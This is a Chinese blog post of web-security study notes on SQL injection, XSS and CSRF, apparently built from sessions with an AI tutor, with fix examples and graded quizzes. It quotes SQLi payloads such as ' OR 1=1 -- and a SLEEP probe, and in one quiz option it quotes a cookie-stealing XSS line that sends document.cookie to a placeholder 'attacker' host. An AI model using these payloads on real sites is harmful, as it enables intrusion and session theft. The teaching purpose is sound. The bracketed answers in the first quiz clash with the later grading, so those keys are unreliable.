5618SQL复习

好的,我用“最小可用修改”重绘了 Mermaid 图,避免在边/节点里放引号、尖括号等易触发语法报错的字符;其他内容保持不变。

一、讲义要点(SQLi / XSS / CSRF)

  1. SQL 注入(SQLi)
  • 本质:把用户输入拼进 SQL 字符串,导致语义被篡改(读/写/提权/脱敏)。
  • 常见类型:Union/报错型、布尔盲注、时间盲注、堆叠查询(不同数据库支持不同)。
  • 典型 payload

    • ' OR 1=1 --
    • 1 UNION SELECT username,password FROM users--
  • 一条核心修复建议

    • 使用“参数化查询/预编译语句”(Prepared Statements),禁止字符串拼接;并最小化数据库权限。
  1. 跨站脚本(XSS)
  • 本质:不受信任的输入被当作脚本在浏览器执行。
  • 类型:反射型、存储型、DOM 型。
  • 典型 payload

  • 一条核心修复建议

    • 按上下文输出编码(HTML/属性/JS/URL),使用自动转义模板;前端用 textContent/属性赋值替代 innerHTML。
  1. 跨站请求伪造(CSRF)
  • 本质:诱导已登录用户跨站发起状态更改请求;因缺少“请求者意图验证”而被目标站执行。
  • 攻击条件:受害者处于已登录状态;浏览器会自动带 Cookie;目标接口缺 CSRF token 或来源校验。
  • 一条核心修复建议

    • 在所有“状态更改”请求中校验不可预测的 CSRF Token(与会话绑定);关键操作二次确认/再认证;结合 Cookie SameSite。

二、Mermaid 图示(已做最小可用修改)

  1. SQLi:拼接 vs 参数化
flowchart LR
  U[用户输入] -->|不安全拼接| A[构造 SQL 字符串]
  A --> DB1[(数据库)]
  DB1 --> OUT1[注入成功 / 语义被篡改]

  U -->|参数化| B[绑定变量 / 预编译]
  B --> DB2[(数据库)]
  DB2 --> OUT2[仅按值处理 / 安全查询]
  1. XSS:反射型 vs 存储型
flowchart LR
  subgraph R[反射型]
    Q[带恶意参数的链接] --> WS1[Web 服务器]
    WS1 -->|原样回显| BR1[浏览器执行]
  end
  subgraph S[存储型]
    ATT[攻击者提交恶意内容] --> DB[(数据库)]
    DB --> WS2[Web 服务器]
    WS2 --> BR2[其他访问者浏览器执行]
  end
  1. CSRF:缺 Token 的流程
flowchart LR
  V[受害者已登录目标站] --> ATK[访问攻击站点]
  ATK -->|自动提交跨站请求| BR[受害者浏览器]
  BR -->|自动携带 Cookie| SRV[目标服务器]
  SRV -->|未校验 CSRF Token| ACT[状态被改变]

三、示例与修复建议

  1. SQLi:Java / PHP 参数化
// 脆弱:字符串拼接
String sql = "SELECT * FROM users WHERE name='" + name + "'";
Statement st = conn.createStatement();
ResultSet rs = st.executeQuery(sql);

// 安全:参数化
String sql2 = "SELECT * FROM users WHERE name = ?";
PreparedStatement ps = conn.prepareStatement(sql2);
ps.setString(1, name);
ResultSet rs2 = ps.executeQuery();
// 脆弱
$sql = "SELECT * FROM users WHERE name='$name'";
$rows = $pdo->query($sql);

// 安全(PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE name = :name");
$stmt->execute([':name' => $name]);
$rows = $stmt->fetchAll();
  1. XSS:输出编码与前端安全
// 脆弱
elem.innerHTML = userInput;
// 安全
elem.textContent = userInput;

CSP 示例:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'
  1. CSRF:后端校验(伪代码)
def transfer():
    token_cookie = request.cookies.get("csrf_token")
    token_form   = request.form.get("csrf_token")
    if not token_cookie or not token_form or token_cookie != token_form:
        abort(403)
    # 继续处理

并设置:Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax

四、单选练习题(均匀分布,不含答案)
每题仅一个最合适选项,请从 A–D 中选择(题末【】填写)。

  1. 下列哪一项最能从根源上防止 SQL 注入?【C】
    A. 启用 WAF 并阻断可疑请求
    B. 使用参数化查询/预编译语句绑定变量
    C. 过滤单引号与分号字符
    D. 把 SQL 语句做 Base64 编码后再执行
  2. 下面哪个更像是典型 SQL 注入 Payload?【D】
    A. ' OR 1=1 --
    B. alert(1)
    C. ../../etc/passwd
    D. %3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
  3. 对反射型 XSS,以下哪项是更直接有效的防护?【B】
    A. 仅对输入做黑名单过滤
    B. 将站点强制为 HTTPS
    C. 按输出上下文进行编码(HTML/属性/JS/URL),使用自动转义模板
    D. 仅在登录接口开启验证码
  4. 以下哪项最能准确描述 CSRF 的关键特征?【C】
    A. 恶意脚本被存入数据库并向所有访问者返回
    B. 攻击者在受害者浏览器中执行任意 JS
    C. 跨目录访问导致敏感文件被读取
    D. 受害者在已登录状态被诱导跨站发起状态更改请求,服务器未做 token 校验
  5. 下列代码中,哪一段展示了“参数化查询”的正确使用方式?【C】
    A. SELECT * FROM users WHERE name = ?(使用绑定变量提交)
    B. SELECT * FROM users WHERE name = '$name'(使用 addslashes 预处理)
    C. SELECT * FROM users WHERE name = '$filtered'(正则过滤后拼接)
    D. SELECT * FROM users WHERE name = CONCAT('$', :name)(字符串拼接)
  6. 哪个 Payload 更可能用于“窃取 Cookie 的 XSS”演示?【B】
    A. hello
    B. new Image().src='//attacker/c?c='+document.cookie
    C. ../admin/delete?id=1
    D. ; DROP TABLE users;
  7. 现代浏览器环境下,以下哪项是更稳妥的 CSRF 缓解策略?【C】
    A. 仅依赖 Referer 校验
    B. 只对 GET 请求做 CSRF Token 校验
    C. 将不可预测的 CSRF Token 与会话绑定,并在所有“状态更改”请求中强制校验
    D. 仅开启 CORS 预检(preflight)
  8. 关于 CSP(Content-Security-Policy),下列哪项说法“不正确”?【D】
    A. CSP 可限制脚本来源,降低内联脚本执行风险
    B. CSP 可作为 XSS 的重要防御层之一
    C. 即使有 CSP,仍需要做好输出编码与输入校验
    D. CSP 能完全杜绝所有类型的 XSS(包括逻辑性 DOM-XSS)

若还需,我可以把三张图合成一页“考前速看的流程图”,或把题目改成判断/填空以训练易错点。

批改结果

  • 得分:3/8
  • 正确题号:6、7、8
  • 需要改正:1、2、3、4、5

逐题讲解与正确选项

  1. 最能从根源防 SQLi
  • 你选:C
  • 正确:B
  • 说明:参数化查询/预编译从语义层把输入当“值”处理,根因修复;过滤引号或Base64不能可靠阻断注入。
  1. 典型 SQLi Payload
  • 你选:D
  • 正确:A
  • 说明:A 是经典登录绕过注入。D 是 URL 编码后的 XSS 片段(img onerror)。
  1. 反射型 XSS 的直接有效防护
  • 你选:B
  • 正确:C
  • 说明:HTTPS 只保护传输通道,不阻断脚本执行。应按输出上下文做编码/转义,或使用自动转义模板。
  1. CSRF 的关键特征
  • 你选:C
  • 正确:D
  • 说明:CSRF 是已登录用户被诱导跨站发起状态更改请求且服务端未做 token 校验;C 描述的是路径遍历。
  1. 参数化查询的正确用法
  • 你选:C
  • 正确:A
  • 说明:A 使用占位符绑定变量才是参数化。B/C/D 仍是字符串拼接,存在注入风险。
  1. 窃取 Cookie 的 XSS 演示
  • 你选:B(正确)
  • 提醒:若 Cookie 设置了 HttpOnly,JS 无法读取 document.cookie,可降低被盗用风险。
  1. 稳妥的 CSRF 缓解策略
  • 你选:C(正确)
  • 补充:结合 SameSite Cookie(Lax/Strict)与关键操作再认证会更稳。
  1. 关于 CSP 不正确的说法
  • 你选:D(正确)
  • 说明:CSP 是强有力的层次化防护,但不能“完全杜绝”所有 XSS,仍需输出编码和最小化信任。

速记修正点

  • SQLi:根因修复=参数化(Prepared Statements)+ 最小权限;过滤/编码≠根治。
  • XSS:核心=按上下文输出编码(HTML/属性/JS/URL)+ 自动转义模板 + CSP;HTTPS并不等于防XSS。
  • CSRF:关键=不可预测的 CSRF Token 与会话绑定并强制校验;配合 SameSite、Origin/Referer 辅助。

要不要我基于这 5 题的错因,再给你出一组“针对性微练习(5 题)”巩固?


你的理解把“本质”抓住了八成:攻击者利用“输入 + 拼接SQL”改变原本语义,造成 SQL 注入。还需要两点关键补充与校正:

正确的防护优先级(最重要的一条)

  • 首选且必须:参数化查询/预编译(Prepared Statements/绑定变量)。

    • 作用:把用户输入当作“值”,而不是“语法”。无论输入含有 ' OR 1=1 -- 之类,都只会作为字符串被比较,无法改写语义。
    • 这是根因级修复,优先级远高于任何“输入校验/转义”。

输入校验与转义的定位(重要但是辅助)

  • 输入校验(Validation)

    • 目标:减少异常输入,约束长度/类型/格式/取值范围(例如 ID 只能是正整数,用户名长度 3–32)。
    • 好处:降低整体攻击面,减少错误处理分支与资源消耗。
    • 注意:即使校验通过,也必须走参数化;单靠校验无法覆盖所有绕过手法。
  • 输出编码(Escaping/Encoding)

    • 主要用于防 XSS(HTML/属性/JS/URL 上下文编码),不是 SQL 层的根治手段。
  • SQL 字符转义(例如 addslashes、手工 replace)

    • 容易出错、数据库差异大、存在绕过(编码、宽字节、不同语法)。不建议作为主要防护;即便使用,也只能当“额外兜底”,绝不能替代参数化。

一页“对/错”速记

  • 对:SQL 注入的根治手段是参数化/预编译 + 最小权限账户。
  • 对:输入校验是良好实践,可减少风险与噪声,但不是根治。
  • 对:在视图/模板层要做输出编码(主要抵御 XSS),与 SQLi 是不同防线。
  • 错:仅靠过滤单引号、黑名单、Base64、正则清洗就能防 SQL 注入。
  • 错:开启 HTTPS/WAF 就能根治 SQL 注入(它们是传输安全/边界缓解,不能替代参数化)。

推荐的“最小合规模板”

  • 查询

    • Java/JDBC: PreparedStatement ps = conn.prepareStatement("SELECT * FROM t WHERE id=?"); ps.setInt(1, id);
    • PHP/PDO: $stmt = $pdo->prepare("SELECT * FROM t WHERE name = :name"); $stmt->execute([':name'=>$name]);
    • Python/psycopg2: cur.execute("SELECT * FROM t WHERE email=%s", (email,))
  • 账户权限

    • 应用用“只读/最小权限”账户访问数据库;写操作分开权限,禁止 DROP/ALTER 等无关权限。
  • 错误处理

    • 关闭详细 SQL 错误在页面的回显;将详细错误写入安全日志,返回通用错误给用户。

如果你愿意,我可以把你项目里某段数据访问代码改写为“参数化版 + 输入校验 + 错误处理”的标准模板,并附上三种常见数据库(MySQL/PostgreSQL/SQLite)的适配注意点。


好的!下面是全新的 8 道单选题(仅围绕 SQLi / XSS / CSRF 实战要点),每题只有一个最合适选项,选项分布均匀。题末【】留空供填写,不提供答案。

  1. 下列哪种做法最容易在 ORM 使用中重新引入 SQL 注入风险?【B】
    A. 使用 ORM 提供的参数绑定 API
    B. 在查询构造器中拼接原始字符串片段(raw SQL)
    C. 使用存储过程并仅以参数传值
    D. 在数据库侧创建只读视图供查询
  2. 针对登录表单的“用户名或密码错误”提示,以下哪种做法更安全、同时避免为攻击者提供注入/枚举线索?【B】
    A. 分别提示“用户名不存在”或“密码错误”
    B. 统一返回通用错误信息并记录详细日志
    C. 把具体 SQL 语句回显到页面便于定位
    D. 将错误信息直接显示数据库异常栈
  3. 下列哪项更可能触发 DOM 型 XSS?【C】
    A. 服务器拼接返回 注入
    B. 前端从 location.hash 读取字符串并直接 innerHTML 到页面
    C. 表单回显使用服务端模板的自动转义
    D. 纯后端重定向到固定 URL
  4. 关于 CSRF 的攻防,下列哪项说法更合适?【B】
    A. 只对 POST 校验 CSRF Token,GET 不可能更改状态
    B. 使用不可预测的 Token 并与会话绑定,所有状态更改的请求均校验
    C. 仅依赖 SameSite=Lax 即可防住所有 CSRF
    D. 只校验 Referer/Origin 即可,无需 Token
  5. 下面哪条响应头最直接有助于缓解 XSS 危害(非根因修复)?【A】
    A. Content-Security-Policy
    B. Cache-Control: no-store
    C. X-Frame-Options: DENY
    D. Strict-Transport-Security
  6. 在一个搜索接口 /search?q=...,后端以字符串拼接构造 SQL。下列哪种输入更可能用于“时间盲注”探测(以 MySQL 为例)?【B】
    A. apple
    B. ' OR SLEEP(3) --
    C. ../etc/passwd
    D.
  7. 为了减少 SQL 注入的影响面,以下哪条数据库层面的做法更恰当?【B】
    A. 让应用使用拥有所有表 DROP 权限的超级用户
    B. 让应用使用最小权限账户(读/写按需分离),禁用无关 DDL
    C. 在应用层做转义即可,数据库层无需限权
    D. 将所有表合并为一个,便于管理
  8. 在富文本评论功能里,用户可以提交 HTML。以下哪种组合更安全(仍需与业务匹配)?【C】
    A. 完全信任用户 HTML,直接存储与渲染
    B. 仅做 URL 编码后存储,再原样输出
    C. 使用白名单 HTML 清洗库(如 DOMPurify/OWASP Java HTML Sanitizer),并配置 CSP
    D. 禁止任何输入并返回 403

需要时我可以给出每题的解析与快速验证方法(例如:如何在 DVWA 中复现实验、如何用 Burp/ZAP 观察行为、以及对应的修复代码模板)。

批改结果:你本次作答 7/8 正确,表现很棒!

逐题反馈与精要

  1. ORM 场景重新引入 SQLi 风险
    你的答案:B 正确
  • 解释:在查询构造器中拼 raw SQL 最易把拼接带回去;应优先用 ORM 的参数绑定/占位符。
  1. 登录错误提示的安全做法
    你的答案:B 正确
  • 解释:统一通用提示,详细原因入日志,避免账号枚举与泄露内部细节。
  1. 更可能触发 DOM 型 XSS
    你的答案:C(你的原文答案标注为 C,但选项内容是“表单回显使用服务端模板的自动转义”)
  • 正确答案:B
  • 解释:DOM-XSS 发生在前端,典型是把 location.hash、search 等未净化数据直接 innerHTML 注入;C 反而是安全做法(自动转义)。
  • 改进记忆:DOM-XSS = 前端拼接/插入未净化内容 → 关注 innerHTML、document.write、dangerouslySetInnerHTML 等。
  1. CSRF 防护的正确说法
    你的答案:B 正确
  • 解释:不可预测 token 与会话绑定,所有“状态更改”请求都要校验;配合 SameSite 更稳。
  1. 缓解 XSS 危害的响应头
    你的答案:A 正确
  • 解释:CSP 可限制脚本来源/内联执行,降低利用面(仍需输出编码根治)。
  1. 时间盲注探测(MySQL)
    你的答案:B 正确
  • 解释:' OR SLEEP(3) -- 可观测延迟;不同 DB 可用不同延时函数(如 pg_sleep)。
  1. 降低 SQLi 影响面的数据库做法
    你的答案:B 正确
  • 解释:最小权限原则,读写分离,禁用无关 DDL 权限。
  1. 富文本更安全的处理组合
    你的答案:C 正确
  • 解释:白名单 HTML 清洗 + CSP;同时注意上传/链接协议白名单(避免 javascript:、data: 等)。

一页速记(易错点强化)

  • DOM-XSS:发生在浏览器端,常见触点 innerHTML / document.write / dangerouslySetInnerHTML / jQuery.html。源头常是 location.hash、search、postMessage、localStorage 等未净化内容。
  • CSRF:Token 与会话绑定、所有状态更改请求都校验;SameSite=Lax/Strict 提升安全基线,但不是万能。
  • SQLi:优先参数化/预编译;数据库“最小权限”把影响面压到最小;WAF/CSP 只能算“加一道防线”,不能替代根因修复。

需要我基于第 3 题 DOM-XSS 再给你 3 个微练习(带最小代码和修复示例)吗?可以直接在浏览器里复现实验:不安全 innerHTML → 改为 textContent/安全模板 → 再加 CSP 对比效果。

~  ~  The   End  ~  ~


 赏 
感谢您的支持,我会继续努力哒!
支付宝收款码
tips
文章二维码 分类标签:博客TypechoAutoUpload
文章标题:5618SQL复习
文章链接:https://www.fangshaonian.cn/archives/136/
最后编辑:2025 年 11 月 13 日 20:10 By 方少年
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 4 + 7 =
快来做第一个评论的人吧~